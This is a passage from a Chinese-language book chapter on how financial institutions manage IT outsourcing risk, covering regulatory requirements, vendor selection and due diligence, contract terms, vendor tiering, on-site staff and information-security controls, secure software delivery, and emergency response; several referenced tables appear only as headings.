·2017年中国证监会发出《证券基金经营机构信息技术管理办法》（征求意见稿），其中规定了对“信息技术服务机构”即外包机构的要求，包括“不得将重要信息系统的运行、维护或日常安全管理交由信息技术服务机构独立实施”，以及审慎选择信息技术服务机构时应该关注的重点事项、合同约束要求、内部审查要求、部分服务机构的备案要求、应急处置机制、严禁行为等。

各类监管要求从战略规划的高度和战术执行的细度，为金融企业建立信息科技外包管理体系、制定战略方针和工作机制提供了规范性的要求，既是指导又是约束。金融企业必须遵循监管要求，在监管要求的框架下搭建自身的外包风险管控体系，解决基础性、体系性缺失的问题。




7.1.3　外包管理中的常见问题



金融企业将大量的信息科技工作外包，虽然解决了银行自身资源不足的问题，但也暴露了一些风险隐患。

第一，金融企业对信息科技外包的依赖度大。中小型金融企业对信息科技外包依赖程度普遍较高，大型金融企业中的信息科技外包也已占相当比例，信息科技外包已成为金融企业信息科技体系中的一个重要组成部分。由于金融企业自身科技人员数量、知识和能力储备不足，外包人数是金融企业内部员工人数5~10倍甚至更多的情况屡见不鲜，而且在可以预见的未来这一比例还有增大趋势。大量外包导致企业内部员工的自主掌控能力变弱，对信息系统的熟悉了解程度降低，自主解决问题的效能下降，核心技术受制于人。信息系统开发的交付质量和运维保障水平，很大程度上取决于外包人员的技能水平和责任心，外包商的经营状况、外包商的人员流动、外包商与金融企业的合作关系，都可能对金融企业的信息科技的业务支持能力、交付效率和信息系统运行稳定性产生重大影响。

第二，金融企业的外包商集中度较高。从单个企业看，部分金融企业将信息科技外包服务集中交给少量服务提供商承接；从整个行业看，部分外包商承接了多个金融企业的信息科技工作，在金融行业中服务机构多、市场份额大。外包商集中度较高导致金融企业对于单一外包商的依赖过大，对系统的控制能力和议价能力下降，一旦外包商自身经营出现风险，或者跟金融企业的合作发生问题，就可能造成影响面较大的服务中断或者服务质量下降，严重情况下还将导致系统性、区域性的信息科技风险。

第三，外包商经营风险事件日益增多。无论是宏观层面的国际贸易关系、国内外经济形势、行业环境和发展趋势，还是微观层面的股东关系、公司治理架构、管理层水平等，都可能影响外包商的经营情况和服务水平。外包商自身经营状况不佳导致产品质量出现问题、团队不稳定，或者在开发、实施、运维等方面的服务不及时，都可能造成金融企业的服务中断或者服务质量下降，进而直接影响对业务发展的支持和信息系统运行的稳定性。

第四，外包商员工管理相比金融企业员工管理难度更大。将信息科技活动委托给外部人员处理，相比金融企业内部员工自行处理而言，面临风险更大，管理难度更高，管理要求更难落实到位。因为外包人员的归属感、责任感相对不强，往往会认为自己不需要对最终结果负责，只需要对过程负责，不对长期结果负责，仅对当前阶段性的成果负责，相对而言会更注重短期收益，所以外包人员的责任心、主动性、纪律性得不到保证，再加上人员流动性较大，知识技能往往难以有效传承，从而难以保证长期持续的高效率和高质量。

第五，外包商或其员工可能发生主动或被动的不当行为。外包商提供的信息科技服务，有机会接触、存储大量的敏感信息，例如客户资料、交易数据等，但外包商的风险管理能力、风险控制体系和风险意识水平相比金融企业的要求来说还有差距。如果外包商或其员工发生主动或被动的不当行为，例如有意识地收集和倒卖敏感数据，操作失误删除数据或执行错误指令等，可能导致数据损坏、丢失、泄露或系统服务中断，造成直接或间接经济损失。

第六，外包商不受监管直接约束，信息安全管控水平整体偏低。信息科技外包商不受监管部门的直接约束，游离于金融企业的监管体系之外，其服务对象和服务结果却又必须遵从金融企业的监管要求。外包商的信息安全管理体系建设相对滞后，外包人员的风险意识不足，都可能造成金融企业的信息安全风险。

鉴于上述因素，外包管理中的问题可能导致金融企业面临以下直接风险，并可能进一步导致银行业金融企业的战略、声誉、合规风险（摘自《银行业金融机构信息科技外包风险监管指引》）：

·科技能力丧失，金融企业过度依赖外部资源导致失去科技控制及创新能力，影响业务创新与发展。

·业务中断，支持业务运营的外包服务无法持续提供导致业务中断。

·信息泄露，包含客户信息在内的金融企业非公开数据被服务提供商非法获得或泄露。

·服务水平下降，由于外包服务质量问题或内外部协作效率低下，使得金融企业信息科技服务水平下降。

由于信息科技外包带来的风险较高，针对上述问题，金融企业需要制订有效的外包安全管控目标，建立外包安全防控体系。

·在战略层，应当建立适合本企业的信息科技外包战略，确定信息科技外包管理的目标，明确外包的总体原则，建立企业层面的信息科技外包安全防控架构，完善外包管理组织体系和制度体系。

·在战术层，应该按照外包类型分类管理，针对不同类型的外包，建立全生命周期管理的机制，以及外包安全管理效果衡量机制。




7.2　外包战略体系




1.制定外包战略


金融企业在科技发展水平、科技规模实力、科技资源投入、科技管理模式等方面存在差异，需要根据本企业的实际情况，综合考虑信息科技战略、外包市场环境、自身风险控制能力，制定合适的外包战略。

外包战略通常由以下几个部分组成：

·外包管理目标。外包管理的目标通常是降低信息科技成本，缩短新产品开发周期，提高新技术应用效率和专业性，集中行内优势资源掌握核心关键技术，提高自主掌控能力，主动防范外包风险。

·外包管理方针。通常由8~16个字组成，基本原则是要重点突出、方向明确、朗朗上口、易于记忆。例如，“自主掌控，适度外包”“自主外包相结合，自主优先”“自主外包相结合，外包为主”等。

·外包组织架构。明确董事会、高管层、外包风险管理部门、外包审计部门、外包执行部门的职责分工，确定部门归属，强化权限的相互制约。

·外包的选择策略。明确哪些科技职能严禁外包、哪些严格控制外包、哪些适度外包、哪些优先外包等。例如，涉及战略管理、风险管理、内部审计及其他有关信息科技核心竞争力的职能不得外包，科技管理责任不得外包，某些关键核心技术或保密技术不得外包；企业级架构设计、重要信息系统的需求分析和设计、涉及敏感信息分析或处理的工作严格控制外包；非重要信息系统的分析设计和重要信息系统的编码适度外包；系统软件和电子设备维保、第三方安全服务等优先外包。

·核心能力建设方案。制订金融企业自身的资源和能力建设方案，确定必须自主掌控的核心能力所属领域和关键环节，并制订配套的人员补充、技能提升、知识转移方案，有针对性地获取或提升关键的管理及技术能力，降低对外包商的依赖。例如，明确让自有人员重点承担重要信息系统的需求分析、架构设计等开发职能，以及网络、数据库等关键的运维职能，并提供相应的人员数量、质量、技能提升、知识转移计划等配套保障。

·外包商关系管理策略。根据金融企业自身的业务需求、科技规模、市场地位等，确定外包商依赖度、集中度管理的目标，制订外包商引入的流程、外包商准入标准、外包商退出机制、外包商风险评估指标、外包商服务评价体系、外包商分级管理和差异化管理策略等。


2.明确组织架构


构建合理的信息科技外包管理组织架构，明确职责分工，是外包战略得以有效执行的重要保障。外包管理组织架构包括三个层级：

·董事会和高管层。董事会及高级管理层对信息科技外包负最终管理责任，主要职责包括明确各部门在外包管理方面的职责分工，设计必要的监督和控制机制，审批外包战略、制度和流程，审批重大项目外包决策，推动和完善外包风险管理体系建设，督促各部门履行职责以确保实现外包管理效果等。

·信息科技外包管理相关部门。包括信息科技外包管理及外包风险管理的主管部门、执行部门和监督部门，各部门间应建立工作汇报及沟通交流机制。外包主管部门通常可以由风险或合规部门担任，主要负责识别、监测、评估外包风险，向董事会及高管层报告风险评估结果，督促外包管理工作持续改善；外包执行部门通常由与外包管理相关的预算、采购、合同签订、执行、外包商管理等相关部门担任，负责外包管理相关制度制定、外包活动的具体执行落实、外包商日常管理，并向主管部门报告外包活动情况；外包监督部门通常由稽核审计部门担任，主要职责是开展定期或专项的信息科技外包管理审计工作。

·信息科技部门内部科室。在信息科技部门内部也要进行专业化分工和岗位制衡。例如安排科技管理职能科室，负责牵头组织外包商准入、评价、退出管理，以及负责预算申请、商务采购、合同签订和执行等相关职能；安排开发、运维等职能科室，按照“谁使用，谁负责”的原则，负责外包商的日常管理；安排信息安全职能科室，负责检查和监督外包管理机制的有效落实，识别风险并推动风险整改。


3.强化制度约束


信息科技外包管理制度体系是外包工作有效开展的准绳，必须遵循监管指引，并根据行内的组织架构和制度体系建设，以规范和指导外包工作的落地执行。外包管理制度包括三个层级：

·政策级制度。包括外包管理总纲、政策等，通常，整个金融企业只有一份信息科技外包管理政策，纳入整体信息科技管理纲领性制度，作为一个独立章节出现，提出对应的管理要求。主要是定义信息科技外包管理的目标、范围，解决管理“什么”以及“为什么”需要管理的问题。

·办法级制度。通常根据各部门职责分工可以有多个关于外包管理的办法，例如，风险或合规部门的外包风险管理办法，信息科技部门的信息科技外包管理办法，稽核审计部门的外包审计管理办法，以及其他部门的外包商管理办法、预算管理办法、采购管理办法等。管理办法通常定义信息科技外包管理相关各部门的职责分工、工作流程和管理要求，解决由“谁”来管理以及“如何”管理的问题。

·规程级制度。通常在部门内部发布，是办法级制度的支持性文档，例如，信息科技外包商采购管理细则，信息科技外包合同签订和执行细则，外包商现场管理工作细则，外包商考核评价管理细则，外包商风险监测和评估细则。重点在于定义部门内部各科室的职责分工、工作流程、详细操作步骤、具体实施方法、操作检查列表等，直接指导相关岗位的操作。


4.规划核心能力建设


要掌控和化解信息科技外包风险，最关键的环节和最大的挑战在于金融企业自身的核心能力建设。任何信息科技外包工作，都必须以不妨碍核心能力建设和自主掌控关键技术为导向，否则，一旦核心技术受制于人，金融企业就丧失了主动权和议价权，大大弱化了对系统的控制权和对风险的掌控力，金融企业的核心能力建设要量体裁衣、量力而行，不能急于求成，没有统一准则，“适合的才是最好的”。

大型金融企业通常自身科技力量雄厚，信息系统建设和日常运维以内部资源为主，自主研发能力和自主掌控能力较强，外包资源主要作为人力的补充，投入到非关键系统或者非关键环节。大型金融企业自主掌控能力加强，核心能力建设目标较为清晰，执行比较到位。

中小型金融企业自身科技力量普遍不足，但信息化建设高速发展，信息系统规模日趋庞大，因此经常将科技规划、应用开发、基础设施建设及网络运维等工作外包，利用外包商的专业能力和快速交付能力，提升科技支持水平。中小型金融企业自主掌控能力受到更大的挑战，亟待加强自身核心能力建设。

加强核心能力建设，需要分三步走：

1）明确建设目标，要掌控哪些科技职能、哪些环节的核心能力。

2）确定核心能力建设相关环节的资源投入方案。

3）制订核心能力建设效果评估的方法并执行、反馈、调整。

（1）明确核心能力建设目标

不同类型的信息科技外包，金融企业需要掌握的核心能力不一样。因此要树立分级分类的理念，细分本企业所有的外包类型和特点，针对每种类型给出对应的核心能力建设目标。

对于规划咨询类外包，主要目的是利用外包人员丰富的知识、行业经验、体系化的思维框架，帮助金融企业制订规划，例如，科技规划，数据中心建设规划，数据治理规划等。这一类外包，金融企业核心能力建设的重点是理解规划制订全过程的逻辑和推导的过程，后续能使规划落地执行，并具备能力自主滚动制订和调整规划。金融企业应该安排核心骨干人员全程参与规划的制订，在外包人员撤场前必须完成知识转移，在外包人员撤场后能很好地承接规划的执行和更新。

对于应用研发类外包，主要目的是利用外包商对前沿技术的掌控和研发能力以及丰富的人力资源，帮助金融企业解决快速响应业务需求的问题。这一类外包，金融企业核心能力建设的重点是掌握应用系统的技术架构，具备需求分析和系统设计的能力，能全面把握应用系统建设过程中的质量控制和风险管理，随时可以应对外包商更替、外包商经营状况变化及人员流失的风险。

对于系统运维类外包，主要目的是利用原厂商或者第三方代理公司提供的设备，规划设计方案、软件安装配置方案等，完成机房风火水电、网络、服务器、存储等基础设施项目实施，或者操作系统、数据库、中间件等系统软件的安装配置；利用外包资源完成日常运维工作，帮助金融企业快速完成部署和解决故障。这一类外包，金融企业核心能力建设的重点是掌握设备和系统软件运行调优方案，了解常见故障及解决方法，掌握设备运行效果的主要监测指标及监控方法，具备快速定位和解决问题的能力。

对于安全服务类外包，主要目的是利用安全厂商对信息安全趋势的了解、对安全态势和安全漏洞的深入钻研，帮助金融企业完成安全技术平台部署实施、安全漏洞发现和防范以及安全运营工作，补充人员数量和安全专业能力的不足。这一类外包，金融企业核心能力建设的重点是对安全技术架构的全局掌控，对安全规范的自主建立，对安全漏洞原理和防范技术的深度理解，以及对安全运营机制流程的建立等。

（2）确定核心能力建设的资源投入方案

无论是哪一类外包，目标确定后，配套的资源安排到位方可真正达成核心能力建设目标。针对各种外包服务活动，都需要安排技术人员深度参与，在过程中学习掌握外包商的架构、方法、思维模式以及具体技术成果，保障外包成果交付和知识转移的效果。

表7-1是资源投入方案和计划示例，金融企业应根据自身实际情况设计方案。

表7-1　项目资源投入计划表







（3）制订核心能力建设的效果评估方法

核心能力建设方案制订后，需要建立监测指标，来评估、检验实施的效果，并根据执行效果的跟踪反馈结果，动态调整建设方案，形成螺旋上升的闭环。可以设计如表7-2所示的评估指标。

表7-2　核心能力建设评估










7.3　外包战术体系



从战术层面看，要加强外包安全管理，对外包风险进行有效的控制，重点是要形成外包全生命周期管理的良性循环，建立“事前预防，事中控制，事后处置”的工作机制，要按照“级差准入，持续评价，合作竞争，能上能下”的原则，对外包商实行差别化的准入、遴选、维护、退出管理。




7.3.1　事前预防



在事前预防阶段，风险控制的重点是要开展外包项目风险评估，设立外包商准入标准，开展外包商考察，同时通过合同形成法律约束。目的是及早发现各种外包风险的前兆，并立即予以纠正或防范，把风险消灭在萌芽状态，避免错误处理造成风险事件。


1.外包项目风险评估


在外包项目的立项阶段，一方面，需要开展外包战略符合度分析，评估外包商选择策略和核心能力建设方案是否符合外包战略要求；另一方面，需要开展外包项目风险评估，根据信息科技外包项目的背景、目的、范围、性质，分析是否存在科技能力丧失、业务中断、信息泄露等风险，并采取相应的风险处置措施，不能因外包活动的引入而增加整体剩余风险。

在外包项目立项阶段的可行性研究报告中，可以增加专门的风险评估章节，具体内容可参见表7-3。

表7-3　外包商风险评估表







外包项目立项完毕后，需要甄选合格的外包商开展合作，可遵循以下步骤：

1）针对不同类型的外包商，制定外包商准入的最低标准，并要求外包商围绕准入标准提供详尽的证明材料。

2）审查外包商的技术能力、专业经验、业务规模、业务策略及风险控制能力，评估可能存在的法律风险、合规风险、操作风险等，必要时对外包商开展现场考察或尽职调查。

3）建立外包商库，确定备选外包商名单。

4）通过商务采购流程，确定中选外包商并签订合同。


2.外包商准入和审查


不同类型的外包采购，有不同的准入标准，表7-4列出了一些共通性的标准，可以根据需要适当裁剪使用。外包商需要根据标准，提供完备有效的证明材料。

表7-4　外包商准入标准








3.重要外包商尽职调查


对于通过了初步资料审查，满足最低准入条件的外包商，可以纳入进一步考察的范围。对于重要外包服务的外包商，必要时需开展尽职调查。

尽职调查前，应制订详细的尽职调查方案和计划，明确尽职调查事项、小组成员分工、时间安排、资料调阅清单、外包商配合工作要求等，提前发给每个小组成员，以做好准备。

尽职调查以现场考察的方式开展，可以由外包执行部门、外包管理部门、采购主管部门以及风险管理等部门安排人员组成尽职调查小组，赴外包商所在地，通过现场勘查、访谈、资料调阅、穿行测试等方式，深入调查评估外包商的从业时间、股东关系、组织架构、发展战略、财务稳健性、经营声誉、企业文化、行业经验、市场地位及发展趋势、过往合作口碑、管理能力、技术实力、制度体系、员工情况、突发事件应急处置能力、风险控制能力等，综合评价外包服务商的发展前景、资质、能力、信誉、意愿，以确定是否纳入候选外包商名单。

外包商尽职调查表可参考表7-5。

表7-5　外包商尽职调查表





4.外包商入库管理


通过审查和尽职调查的外包商，全部纳入备选外包商库进行管理，记录外包商的基本信息、法人、商务联系人、技术联系人等，并把外包商提供的资料、尽职调查收集材料和表格等，统一归档管理。


5.采购和商务谈判


按照内部的外包商管理和采购制度完成采购和商务谈判流程后，金融企业将与外包商签订采购合同，约定双方的权利和义务以及违约责任等。

合同签订流程主要包括起草、服务商确认、法律部门审查、正式签署等环节。为了避免合同条款遗漏、约定内容不清晰等无法保障金融企业正当权益的风险，同时提高合同条款拟定的效率，金融企业一般会要求外包商接受自己的合同条款。针对咨询、开发、测试、系统软件维护、硬件维护等不同的IT服务领域，拟定不同的合同模板，规范服务水平条款和关键绩效指标。

为了防控外包服务中的风险，合同中必须至少包含以下内容（摘自《银行业金融机构信息科技外包风险监管指引》，但同样适用于其他金融企业）：

·服务范围、服务内容、工作时限及安排、责任分配、交付物要求，以及后续合作中的相关限定条件。

·合规与内控要求，对法律法规及金融企业内部管理制度的遵从要求、监管政策的通报贯彻机制、服务提供商的内控措施。

·服务连续性要求，服务提供商的服务连续性管理目标应当满足金融企业业务连续性目标要求。

·金融企业监控和检查的权利和频率，服务提供商配合其内、外部审计机构检查，以及配合金融业监管机构检查的责任。

·政策或环境变化因素等在内的合同变更或终止的触发条件，外包服务提供商在过渡期间应该履行的主要职责及合同变更或终止的过渡安排，包括信息、资料和设施的交接处置等过渡期间相关服务的安排。

·外包服务过程中产生、加工、交互的信息和知识产权的归属权，以及允许服务提供商使用的内容及范围，对服务提供商使用合法软、硬件产品的要求。

·服务要求或服务水平条款，至少应当包括外包服务的关键要素、服务时效和可用性、数据的机密性和完整性要求、变更的控制、安全标准的遵守情况、技术支持水平等。

·争端解决机制、违约及赔偿条款，至少应当包括服务质量违约、安全违约、知识产权违约等，以及在各种违约情况下的赔偿和外包争端的解决机制。

·报告条款，至少应当包括常规报告内容和报告频度、突发事件时的报告路线、报告方式及时限要求。


6.外包商依赖度和集中度风险控制


在外包商准入阶段，要特别注意控制外包依赖度和集中度风险。

·控制外包依赖度风险。外包依赖度越高，意味着外包商的转换成本越高，受到外包商的服务水平影响和约束越大，因此需要通过金融企业核心科技能力建设，提高自主掌控力度，降低对外包商的依赖，做到任何外包商的人员流失或退出都不会使科技服务水平受到显著影响。外包项目立项阶段，应该测算单个项目、单个系统、同类项目以及科技整体的外包依赖程度，如果单个或某类外包依赖度超出期望水平，都应该考虑如何提升自身知识和能力储备，提高自主掌控水平，降低外包风险。

·控制外包集中度风险。无论是因为金融企业自身对某个单一外包商的集中度比例大，还是因为外包商在整个金融行业中市场份额大而导致的行业集中度大，都可能导致风险过度集中和过度依赖于单家外包商的经营状况和服务水平。金融企业应合理管控服务提供商的数量，定期对现有外包服务的结构进行分析，将合同金额、驻场外包人员数量、金融行业市场占有率排列靠前的外包服务商，列入外包集中度风险关注名单，并积极采取后续管控措施：一是在新增项目的外包商选择前，对于在关注列表中的外包商，重点分析选择的必要性和对应的风险分散措施；二是应当特别加强对关注列表中外包商的持续监测，定期开展现场检查，及时发现和掌握风险事件的苗头，防患于未然；三是根据统计排名结果，制订外包服务商替代方案，做好应急预案并开展应急演练，演练内容包括但不限于外包服务突然中断时的合同履行、服务交接、敏感信息处置等。




7.3.2　事中控制



事中控制阶段是外包管理的核心环节，重点是做好外包项目建设以及服务实施的计划与控制，形成科学、高效的外包商关系管理体系，及时发现问题、反馈问题、了解原因、解决问题，确保实现信息科技外包目标。事中控制主要包括以下几方面的工作：

·外包商分级管理

·外包商日常管理

·外包商信息安全管理

·外包商考核评价

·外包商现场检查

·外包商服务监测

·外包商安全管理

·突发事件应急处置


1.外包商分级管理


外包商分级管理是指通过对外包商库内的外包商进行等级划分，对不同等级外包商实行差异化的等级管理政策。通过分级管理，奖励先进、处罚落后，充分发挥激励机制，促进外包商提高产品或服务质量，促使供求双方走向合作共赢。

外包商的分级需要综合考虑市场整体情况、外包商综合实力、外包商的经营管理动态、外包商服务的重要程度、外包商服务质量等，对于处在不同等级的外包商，针对性地采用不同的管理模式和管理方法。

金融企业的外包商分级管理模式可参考如下配置：

根据外包商市场竞争情况、外包商的实力和经营情况，以及与金融企业的项目合作情况，金融企业可将外包商分为战略外包商、瓶颈外包商、重点外包商和普通外包商四个等级。

（1）战略外包商：综合实力较强，并与金融企业为战略合作伙伴关系的外包商。

该类外包商一般与金融企业有密切的业务往来关系，有利于金融企业业务的发展。同时满足以下条件的外包商可划分为战略外包商：

·外包商在规模、声誉、技术或服务等方面处于所在行业领先水平，掌握金融企业所需产品（服务）的关键技术和核心资源，并且重视与金融企业的合作关系。

·外包商与金融企业签订了战略合作协议。

对于战略外包商，金融企业可采取建立长期合作伙伴关系的策略，基本原则是实现“双赢”。合作过程中必须保持密切和通畅的沟通渠道，并开展定期双向交流，但必须防止向战略外包商的不合理倾斜，以减少外包商的垄断牵制。具体措施包括：

1）建立与战略外包商的定期互访、信息通报机制，加强了解与互信。

2）建立联系人制度，及时沟通与释疑。

3）一方面在外包商后续选择流程中优先考虑，另一方面要开展后评价，做好监督。

4）要求外包商保证产品质量、价格等信息公开透明。

（2）瓶颈外包商：能满足金融企业采购需求，但所处行业市场竞争不充分的外包商。

该类外包商通常数量不多，更换难度较大。同时满足以下条件的外包商可划分为瓶颈外包商：

1）所在行业受到国家严格管控，具有行业垄断地位的外包商；或者具有独有技术、独特资源、特殊授权或权威认证的外包商；或者其产品或服务在同类市场上难以找到替代品的外包商。

2）市场上能满足金融企业采购需求和外包商入库资质标准的外包商数量有限，一般不足三家。

对于瓶颈外包商，采用灵活多样的管理策略。积极与其建立稳定的合作关系，关注其独有技术、独家授权、行业垄断的市场地位，尽可能开发和寻找替代产品或服务，以避免受到瓶颈外包商的过度制约。具体措施包括：

1）定期关注独有技术和独家授权的市场变化。

2）相关部门一旦发现瓶颈外包商的市场变化情况，必须及时采取措施并报告外包商管理部门。

（3）重点外包商：与金融企业有比较深入的合作，提供的产品或服务水平较高，在后评价中获得较高评价的外包商。

重点外包商的划分主要依据后评价情况开展，后评价结果为优秀的外包商可划分为重点外包商。对于重点外包商，要加强管理和维护力度。一方面，引导其了解金融企业对重点外包商的优选政策，提高外包商合作积极性；另一方面，要大力宣传“能上能下”的分级管理制度，促使外包商持续提供优质服务。具体措施包括：

1）对重点外包商开展定期后评价工作，关注外包商的持续服务情况。

2）相关部门必须及时反馈重点外包商的产品质量和服务状况，外包商管理部门及时向外包商提出需求和建议，并要求外包商持续改进服务水平。

（4）普通外包商：能满足金融企业采购需求，同时所处行业市场竞争比较充分的外包商。

该类外包商的更换难度和成本较低。满足以下条件的外包商划分为普通外包商：外包商市场竞争比较充分，满足同类要求的外包商数量在三家以上（含）。

对于普通外包商，应尽可能维持充足的数量，为采购项目提供更多的比较和选择。通过分级管理的奖惩措施，激励普通外包商提供更优质的产品和服务。具体措施包括：

1）相关部门必须及时向外包商管理部门反馈普通外包商的产品质量和服务状况，外包商管理部门及时督促其改进和完善。

2）对于效果不满意的普通外包商，及时进行替换。

3）加强对不同级别外包商管理政策的宣传，刺激普通外包商提高服务水平，增强其成为重点外包商的意愿。


2.外包商日常管理


外包商日常管理包括外包人员入场和离场管理、外包人员考核和考勤管理、外包环境管理等工作。

外包人员入场管理：一是对入场外包人员资质进行严格审核，对专业水平进行现场笔试和面试；二是要求外包商提供主要外包服务人员的背景调查结果和无犯罪记录证明；三是建立外包人员信息台账，强化对外包人员信息档案的更新与管理；四是要求外包人员入场前签署保密协议及服务承诺书；五是要求外包人员参加信息安全培训和规章制度培训，考试合格后方可按照入场流程办理相关手续。

外包人员考核管理：一是通过工作任务单、项目计划表等方式，安排工作任务和计划，充分提高外包资源使用效率；二是建立外包资源使用台账，方便工作量结算和成本节约；三是建立外包人员考核机制，对外包人员的服务质量、工作态度、工作纪律等进行考核，考核结果与付款挂钩；四是统一外包人员考勤和工作纪律管理，不允许迟到、早退、旷工，严禁工作时间从事炒股、游戏等无关活动，否则进行严肃处罚；五是做好办公场所访问控制，不允许无关人员进入外包环境。

外包环境管理：一是定期组织召开外包商工作会议，针对外包商的服务质量、日常管理等方面的问题进行通报、点评和处罚，并从质量控制、风险防控等方面提出具体工作要求；二是建立外包服务周报、月报机制，定期向金融企业报告工作进度和问题；三是建立月度专题会议、季度沟通会议、年度管理会议等例会机制，必要时请外包商高层领导参加，通报现场服务的问题，协调解决。

外包人员离场管理：一是外包服务人员提前提出离场申请以及做好后续人员安排，完成审批后退场；二是遵循有关保密要求，清理其设备、文档中遗留的金融企业数据；三是完成工作交接、用户权限清理、电子设备或其他物品交接等。


3.外包商信息安全管理


外包商信息安全管理包括两部分，即管理要求和技术措施。

管理要求方面，通过规章制度的建立与培训，形成“软约束”：一是制定外包人员管理细则，约束外包人员现场工作纪律和信息安全要求；二是由外包人员签署保密承诺书，承诺保密义务与责任；三是在入场时或者定期组织信息安全培训和考试，确保外包人员熟知和执行信息安全工作要求；四是日常检查安全要求落实情况，采用专项检查和随机抽查相结合的模式，对于违规者严厉问责。

技术措施方面，充分应用技术手段，实现风险的“硬控制”：一是通过环境物理隔离、用户权限管理、敏感信息脱敏等手段避免外包人员接触敏感信息；二是建立独立的终端开发环境，必须使用金融企业统一配置的终端，安装统一的防病毒软件及终端安全管理软件，禁用U盘等移动存储介质，不允许外包人员自带设备接入金融企业的网络；三是实施网络隔离，外包人员使用的终端部署在独立的安全域内，与其他安全域进行逻辑隔离，避免外包人员向开发测试服务器或开发测试终端拷入、拷出程序，同时禁止互联网的访问；四是遵循“必须知道”和“最小授权”的原则，开放外包人员的网络访问权限和用户权限；五是严格控制外包人员操作金融企业生产系统；六是针对故障硬盘、磁带等存储设备，进行物理破坏和销磁后入库，严禁返厂维修。


4.外包商考核评价


外包商考核评价的目的是通过对外包商的有效激励，加强其与金融企业的合作关系，提升服务质量。外包商的考评应该针对不同类型的外包商制订不同的考评指标，定期组织考核评价，并对考核评价结果开展定期的分析，将评价综合结果和评价指标得分反馈给外包商，促使其取长补短，持续改进。

根据外包商考评周期和考核对象，可将考核评价分为两类：一是外包项目或工作结束后对外包项目或人员进行考核；二是每年对外包服务商进行服务水平和服务质量的总体考核评价。

根据外包类型，可将考核评价分为四类：一是规划咨询类外包，重点考核规划结果的合理性和适用性、规划咨询人员的经验水平等；二是应用研发类外包，重点考核项目进度、交付质量、业务需求符合度等；三是系统运维类外包，重点考核交付及时性、运行稳定性、故障出现概率、故障处理及时性等；四是安全服务类外包，重点考核安全服务人员技术水平、安全防范措施的有效性、安全漏洞发现率等。

根据外包采购模式，可将考核评价分为两类：一是项目类外包，主要从项目交付进度、项目提交件完整性及质量、测试发现缺陷情况、项目投产后的故障情况等方面，在项目结束后进行考核；二是人力资源购置类外包，制订外包人员的定性和定量考核指标，每季度对相关人员进行考核。综合后形成对服务商的考评结果。


5.外包商现场检查


对于重要的外包商，应当定期开展现场检查，每半年或每年进行一次。对供应商的现场检查内容应根据服务类型有所区分，但可以参考表7-6所列的检查内容。

表7-6　外包商现场检查表














6.外包商服务监测


要建立常态化的外包服务监测制度，及时发现外包商的风险隐患苗头，防患于未然。监测内容主要包括：

·持续监测异常事件。通过公开信息检索、外包商服务报告等方式，监测、收集服务商的最新经营情况、法律诉讼事件、重大财务事件、信息泄露风险事件等信息，一旦监控到异常情况，立即督促服务提供商采取纠正措施并限期整改，及时发现和化解服务商潜在风险。

·日常监测合同履行情况。根据合同条款中规定的各个阶段性目标的达成情况、服务水平指标达成率等衡量外包服务质量。例如，对于应用研发类外包，监测投产计划达成率、业务需求满足度、应用系统故障次数、故障应急响应时间、故障及时解决率、人员流失率等服务质量监控指标。对于外包商不履行合同条款、服务水平不达标等情况，纳入外包商合作事件记录表，作为外包商考核依据及后续合作参考。

·定期开展外包服务的风险评估。针对各类信息科技外包活动存在的固有风险，分析外包管理措施的执行情况和风险控制措施的有效性，评估剩余风险的可接受程度，针对发现的风险和不足，制订改进措施和计划并落实整改。


7.外包商安全管理


金融行业通常使用了不同安全厂商的硬件、软件和服务，根据提供的内容不同，软件厂商又可以分为外购软件厂商、合作开发厂商、外包开发厂商等。外购和外包的区别在于，外购一般指该软件或应用系统基本比较成熟，不再需要二次开发，购买了可以直接部署使用，比如微软的Office、Oracle、Vmware ESXi等。外包是指该软件由甲方提出具体需求，乙方根据甲方需求新开发，或在已有的软件框架上进行二次开发，然后再交付甲方使用。

外购软件由于其比较成熟，已经被广泛使用，安全风险较低，主要是防范一些通用的CVE漏洞，及时关注漏洞信息，做好应急处理即可。

外包和合作开发软件，安全风险较高。主要原因包括：一是乙方根据甲方需求，重新或二次开发，软件使用面为少数客户，成本难以分摊，导致外包商无法在安全需求上重点投入；二是工期通常较紧，甲方需求方通常面临内部业务方的工期压力，将这种压力传导到乙方，乙方迫于工期压力，会降低对安全需求的要求，甚至违反其内部设置的安全开发规范和流程；三是部分软件开发厂商的开发框架比较陈旧，有的超过10年，IT技术和安全技术日新月异，显然无法满足现在的安全要求，而目前大部分软件开发厂商的规模并不大，利润空间较低，导致框架更新缓慢，造成交付的软件安全质量堪忧。

目前，整个大环境无法有效改变，单个公司和个人能做的是，加强对软件厂商的安全管理，包括：建立软件厂商安全标准并监督落实；对软件厂商交付的代码进行黑盒检测，有条件的做白盒检测，发现未满足安全要求的要进行整改，并追究内部人员（安全测试和开发人员）责任；将安全要求写入合同，反复违反的进行高层约谈和行业通告，特别难推动的及时向监管层报告。

对于外包外购服务商软件及代码安全交付的要求，一般包括以下几点：

·需要符合监管机构对安全性的需求。

·外包外购服务商须建立软件安全开发规范，对于交付的软件及代码须进行安全检测，软件质量保障组织或信息安全组织须监督检查规范的执行和安全检测工作的落实情况。

·软件及代码交付时须附上对应版本的安全检测报告，如无相应的安全检测报告将延迟或拒绝验收。软件交付后，发现软件安全问题，将予以责任追究和问责。

对于外包外购服务商软件开发的安全管理建议：

·外包外购服务商应建立相应的软件开发安全规范，规范中应明确规定常见的开发安全问题、问题的风险及影响、问题的防范与处理方法等。

·外包外购服务商开发人员应严格执行其开发安全规范，保障软件开发过程中的安全质量。

·外包外购服务商信息安全组织应定期对开发人员开展安全技能及意识培训，全面提升开发人员的安全开发能力。

·外包外购服务商信息安全组织应监督规范的执行情况，并对开发过程中各阶段的交付产品进行安全测试，包括白盒及黑盒测试，保障最终产品的安全交付。

·外包外购服务商在进行软件交付时应附上相应合格的安全检测报告，并修复所有中危级别以上漏洞。必要时提供代码安全审计报告，报告内容应包括测试人员、时间、工具、标准、方法、结果等。


8.突发事件应急处置


外包合作过程中可能出现外包风险事件，如外包商经营出现风险、人员流失等，金融企业需要具备应对突发事件的能力，确保外包商的服务不影响金融企业自身正常运营。

·建立信息科技外包风险应急管理机制，制订专门的外包风险应急预案及操作规程，重点针对外包服务商出现重大资源损失、重大财务损失、重要人员变动以及外包协议意外终止等异常退出情况，明确应对要求。

·建立技术部门、业务部门、管理部门（包括法律、财务、风险等部门）、外包服务商多方应急联动机制，将上述关联方纳入常规应急演练工作中，提升对突发事件的联动响应能力。

·每年组织企业内部有关部门，联合重要外包商开展桌面模拟演练，验证外包风险应急预案及操作规程的有效性和可行性，防范因外包服务意外中断或终止而带来的损失和风险。

